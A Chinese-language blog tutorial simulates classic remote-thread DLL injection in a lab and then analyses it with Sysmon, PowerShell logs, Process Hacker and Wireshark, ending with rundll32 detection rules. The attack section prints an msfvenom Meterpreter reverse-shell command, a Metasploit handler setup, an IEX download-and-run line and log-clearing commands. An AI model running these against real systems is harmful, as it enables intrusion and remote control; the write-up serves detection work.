DLL注入的术与道：分析攻击手法与检测规则

目录

1、攻击假设

1.1、什么是DLL？

1.2、DLL注入 (T1055.001)

2、环境构建

2.1 Sysmon

2.2配置PowerShell ScriptBlock日志

2.3 其他软件

3、攻击模拟

3.1 生成dll文件

3.2 执行注入

3.3 注入恶意dll

3.4 执行命令

3.5日志导出

4. 攻击分析

4.1 Powershell脚本分析

4.2 Dll分析

4.3过程分析

4.3.1网络连接

4.3.2. 进程信息

4.3.3 Process Hacker

4.3.4 Sysmon

4.3.5 PowerShell 脚本块

4.3.6流量分析

5.检测规则

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【前言】
在攻防对抗日渐常态化的今天，攻击者的攻击已变得越来越复杂和难以防御，而作为企业的防守人员，也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的，同时还会站在防守者的角度分析DLL注入的特征以及检测规则。
因此，无论你是一名甲方安全人员、红队大佬，还是对网络安全感兴趣的个人，这篇文章都将会帮助你更好地理解DLL注入的工作原理，特征以及应对方式等。让我们一起开启本篇内容的学习吧！
PS：因篇幅有点长，先把本篇目录列出，以帮助读者们更好地理解本篇要领！

1、攻击假设

1.1、什么是DLL？

DLL 本质上是可供其他程序使用的函数和数据的集合，可将其视为虚拟公共资源，Windows运行的任何程序都会不断地调用动态链接库，以访问各种常见函数和数据。

1.2、DLL注入 (T1055.001)

参考ATT&CK攻击矩阵，进程注入的方法比较丰富，涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入：首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间，然后创建远程线程并执行，对应ATT&CK的T1055.001，该方法需要事先将DLL存于磁盘上。

2、环境构建

使用Vmware安装系统镜像：Windows10（victim），kali（攻击）、Ubuntu22.04.2（日志分析）。
在Ubuntu20.04.2安装Wireshark与Volatility；方法参考其代码仓库。Kali已内置安全框架，直接安装即可。
Windows 10 Enterprise至Microsoft Tech Community下载。

2.1 Sysmon

该工具安装时务必指定配置文件，如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config（Florian Roth）。安装完成后运行Powershell命令行：Get-Service sysmon验证是否安装成功，如下图所示。

2.2配置PowerShell ScriptBlock日志

PowerShell 日志类型：Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志，将配置并激活 ScriptBlock。以管理员运行Powershell，执行如下命令：
1）更改powershell执行策略，以允许后续配置更改；

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

2）新建ScriptBlockLogging注册表路径；

New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force

3）新增EnableScriptBlockLogging 属性为DWORD并设置为1；

New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Forc

4）开启日志记录

wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true

2.3 其他软件

Process Hacker：实时分析；Wireshark：流量分析。

3、攻击模拟

3.1 生成dll文件

（1）在Kali VM使用msfvenom生成payload，msfvenom是Metasploit框架中的组件。命令如下：

sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll

Lhost 表示监听的主机，此处代表Kali主机，
Lport 表示监听的端口.
-f 生成的文件类型，此处是dll。

成功执行后如下图所示：

（2）使用python命令(python3 -m http.server 8008)构建简单的服务，在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后，将与恶意主机建立连接。效果如下：

（3）接下来将在Kali启动脚本开启监听，为后续操作建立通道。

执行如下命令：

msfconsole:开启msf框架；use exploit/multi/handler：生成处理器；set payload windows/meterpreter/reverse_tcp：指定监听的地址与端口

当payload在目标系统上执行时，它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令：

set LHOST 192.168.230.155set LPORT 88run

3.2 执行注入

（1）开启WireShark捕获数据包。选择正确的网卡设备进行监听

（2）清除系统当前Sysmon和PowerShell ScriptBlock日志

以管理员身份打开 PowerShell 终端，运行以下两个命令：

wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational”

（3）准备Powershell脚本
该脚本具备实现DLL注入的功能，目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存，操作如下：

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1')

若无任何输出，则表示执行成功。

3.3 注入恶意dll

此时进程注入脚本运行在powershell进程中，在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID，将其作为参数传递给注入脚本。运行以下命令：

Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll

回到Kali系统，查看msf控制面板的输出，可观察到成功回连。如下图所示：

3.4 执行命令

连接成功后，可以进一步操作受控机器，比如下载文件或执行命令查看详细信息。执行过程如下所示：

3.5日志导出

以管理员打开powershell，输出sysmon与powershell script命令行日志，运行如下命令：

Sysmon日志：

wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx”

Powershell日志：

wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]"

4. 攻击分析

4.1 Powershell脚本分析

（1）首先，恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程，分别是：CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态，并返回快照。Process32First检索关于快照中第一个进程的信息，然后在循环中使用Process32Next对其进行迭代，但本次实验中未涉及上述步骤，而是指定目标进程ID，并将其作为参数传入。

（2）选取目标进程后，恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF，表示打开进程时获取了所有可能的权限，允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。

（3）调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。

（4）使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。

（5）调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread)，将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL)，将该线程的执行地址设置为 $LoadLibraryAddr（kernel32.dll 中的 LoadLibraryA 函数），以便加载远程进程中的 DLL。

4.2 Dll分析

使用IDA Pro打开evil.dll文件，可以看到此模块包含三个函数：sub_10001000，sub_10001050，sub_100011A0，DllEntryPoint(导出函数)，其中sub_10001050完成核心功能：实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值（StartupInfo、IpProcessInformation 结构体）、当前工作目录、环境变量、创建标志、句柄，随后创建rundll32.exe进程，再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。

继续使用IDA将sub_10001050转换为伪代码，如下图所示, 调用 WriteProcessMemory 函数，将地址为 unk_10003000 的数据块推送到堆栈中，写入目标进程的内存执行。

提取该处的shellcode保存为二进制文件，使用工具scdbg分析此部分shellcode功能，可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。

查看MS源码，如下图所示。除了完成以上功能外，该stager继续处理接收到的内容，首先开辟4字节的buffer用于接收第二阶段的stage，使用virtualAlloc开辟对应长度的空间，循环读取接收内容并记录当前地址ebx，最后运行ebp用于第二阶段的持续控制。

4.3过程分析

过程回顾：
（1）首先生成了一个恶意 DLL。
（2）将此 DLL 传输到受害者的系统。
（3）开启了meterpreter监听处理。
（4）下载并执行powershell 脚本，将其注入到内存中。
（5）运行合法进程（rufus.exe），将恶意 dll 注入到内存空间中。
（6）注入的 DLL回连步骤3中的地址，从而建立连接。
（7）与控制端进行通信处理接第二阶段的payload。

实际的攻击场景可能是这样：攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件，它可能会运行嵌入的 VBA 宏，其中包含恶意代码。它负责下载攻击脚本并将其注入内存；比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入，通常比文件落地更难以检测。

首先使用Windows原生工具回顾攻击过程，包括：网络连接、进程、注册表项等。

4.3.1网络连接

打开 PowerShell 管理终端并运行以下命令：

netstat -naob

命令行参数包含 o 和 b，显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接，如下图所示：

它用于加载 DLL。那么问题来了：为什么它会参与出站网络连接？在日常情况下，应该立即查看有关该 IP 的更多信息。例如是内部地址，是否有与之相关的业务系统，是否网络上的其他系统也连接到它，通过关联威胁情报或IOC库查看详细信息。

4.3.2. 进程信息

接下来需要了解上述进程的详细信息，例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下：

tasklist /m /fi "pid eq 6256"

此输出似乎没有任何异常，查看PID=6256的父进程：

wmic process where processid=6256 get parentprocessid

其父进程 PPID 为 1480, 查看该进程名称，如下图所示：

wmic process where processid=1480 get Name

因此，我们看到父进程的名称是 rufus.exe。乍一看，这似乎也很不寻常——为什么用于创建可启动USB驱动器的程序会生成 rundll32.exe，然后再创建网络连接？接着查看一下命令行参数：

wmic process where processid=6256 get commandline

我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数，因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。

思考：目前发现2处异常点：
（1）创建网络连接的进程及父子进程关系异常。
（2）该进程在没有命令行参数的情况下运行异常。

4.3.3 Process Hacker

使用 Process Hacker 等工具查看进程的关键属性：
进程树关系
程序签名是否合法
当前启动目录
命令行参数
线程起始地址
执行权限
内存。

以管理员身份运行Process Hacker，筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。

（1）Parent-Child relationships

观察到进程 rufus.exe生成了子进程 rundll32.exe，随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL，此进程关系是比较可疑的。

（2）Signature

双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名，此处暂无可疑信息。

（3）Current directory
在同一张图中，我们可以看到当前进程的工作目录是桌面，因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。

（4）Command-line arguments
看到命令行是 rundll32.exe，之前讨论在合理场景下需要路径与命令行参数。

（5）Thread Start Address
在“属性”窗口顶部，选择“线程”选项卡。可以在“开始地址”下看到它已被映射，表明文件它确实存在于磁盘上，表明这不是一个反射加载的 DLL。

（6）Memory Permissions
在“属性”窗口选择“内存”。向下查询观察到RWX 权限。

从结果中看到存在两个具有读-写-执行权限的内存空间，在正常程序执行的过程中，很少有合法程序会写入内存然后立即执行它。

（7）Memory Content
双击size为172 kB的memory，可查看加载的内容，从图中可看出：

两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。

总结：使用 Process Hacker发现异常点如下：

rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境；
rundll32.exe 从桌面运行；
该进程还具有 RWX 内存空间权限并包含 PE 文件。

4.3.4 Sysmon

安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲，如果了解更多有关 Sysmon 的详细信息，推荐连接：
（1）Sysmon详情：https://www.youtube.com/watch?v=6W6pXp6EojY
（2）Trustedsec：https://www.youtube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7
（3）Sysmon for threathunting：https://www.youtube.com/watch?v=7dEfKn70HCI

打开内置的EventViewer，包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec
A Sysmon Event ID Breakdown - Updated to Include 29!! - Black Hills Information Security

首先查看第一个事件ID=22，此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示：

命令行地址参数为raw.githubusercontent.com，因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后，会访问 Web 服务器下载另一个脚本（即Payload），此行为可能会产生 DNS请求记录，该记录是检测命令与控制行为重要指标。与IP地址类似，当我们发现有外联请求时，需要确定地址是否为业务正常请求，是否为服务合法地址，是否为威胁情报黑名单，是否为已知恶意 IOC库地址。

随之我们看到event=3的网络连接，此时evil.dll被注入rufus内存，rundll32创建网络连接，回连至攻击机器的88端口。

然后，发生三个注册表操作，事件ID分别为13、12、13。
第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示：

实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。（备注：考虑恶意软件的行为，认为该值应该被设置为1 (DWORD (0x00000001))，表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0，待进一步解决。）下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。

该注册表项与上面的名称相同（DisableAntiSpyware），但是注意 TargetObject 的完整路径。第一个位于HKU...下，而这里的位于HKLM...下。HKU代表HKEY_USERS，HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息，而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户，第二个涉及整个系统。svchost.exe 进程以系统权限（最高级别的权限）运行，这使其能够修改系统范围的密钥。

在这里，我们可以看到与第一个条目中执行的操作相同，即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态（这就是删除它的实际效果），确保系统不会出现可能干扰恶意软件操作的配置。
最后，观察到ID 为 1 的事件，该事件是恶意软件活动重要特征。

在这里我们可以看到Windows远程协助COM服务器可执行文件（raserver.exe）已经启动。该工具用于远程协助，允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问，类似于远程桌面，可用于与系统交互并可能窃取数据。

4.3.5 PowerShell 脚本块

开启特定模块的日志，Powershell日志量相对较少，如下图所示。

首先，PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。
在第三个条目中，我们可以看到与 PowerShell 命令相关的日志，该命令从 Web 服务器下载注入脚本并将其加载到内存中。

在现实的攻击场景中，从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。

因此，当我们运行前面的 IEX 命令时，它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示，以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目，这是在实际攻击中看到的内容。

接下来是具有完全相同时间戳的另外两个条目，其中包含我们未显式运行的命令。由于时间戳完全相同，可以假设它们是由我们运行的命令（Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll）产生的。这些条目可能与程序集交互或分析程序集的过程有关，是 DLL 注入过程的一部分。

总结：

到目前为止我们没有深入分析攻击的过程与原理，但是通过日志我们能发掘较多异常点。在本节中，使用 Sysmon可疑收集到：

（1）下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;
（2）该恶意软件操纵了DisableAntiSpyware 注册表项;
（3）该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe，从而创建了另一个潜在的后门;
使用 PowerShell ScriptBlock 收集到：
（1）powershell从 Web 服务器下载脚本并将其注入内存;
（2）使用特定命令行将脚本注入到rufus.exe中，同时可疑查看 dll 注入脚本的实际内容。

4.3.6流量分析

首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。

这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包（响应），查看数据包详细信息可查看返回值不同的地址，可能对应不同的CDN地址。

我们可以在SIEM中立即查询该IOC，例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后，我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证，然后进行加密 (TLS) 交换。

可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键

数据包，然后选择“跟随”-“TCP 流”。可查看交换的整个数据流，虽然大部分内容被加密/混淆，但是在顶部我们看到魔术字节和 dos本文，显示有Windows可执行文件头的签名标识。

5.检测规则

rundll32.exe的使用语法如下：

rundll32.exe , 

结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。

父子进程关系
在某些场景下存在不规范的命令行参数，日志详情如下所示：

从日志内容看为进程启动日志，但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll，再从搜索结果中观察父子进程的关系。如下图所示：

实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生，实际上这一场景可以通过此技巧进行检测。

(1)命令行参数
继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数，以event_id、image、commandLine为字段建立检测规则如下所示：

以dllname、fuction聚合统计后建立阈值，关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll，这属于可疑程度很高的行为需要进一步结合其他数据进行判断，如下图所示：

（2）进程路径
Rundll32合法路径为两类:

C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe

利用sysmon日志中的Image字段建立一条检测规则：

接下来统计出现过的路径值，尽一切可能建立正常的行为基线，排除正常路径值，关注异常值。例如以下场景就可能涉及恶意行为。

（3）网络连接
本次模拟中，rundll32 在网络通信行为只有一处，即回连攻击机的88端口。根据研究人员观察，rundll32的网络通信行为并不活跃，对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合：

如果能结合进程启动日志，建立进程关系图就能更直观的展示行为序列，从而进行研判。

【总结】
本文采用较为经典的创建线程实现注入，实际上至少有10种进程注入的实现方式，不同攻击方式可能对应不同的检测规则，后续会覆盖不同的场景。
如果在生产环境中有更好的规则调优方法，欢迎评论区分享你的经验。

参考文章
[1]Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®
[2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html
[3]ATT&CK-防御绕过之进程注入攻防分析
[4] https://www.elastic.co/cn/blog
[5] 关于我 - 慕长风的小酒馆

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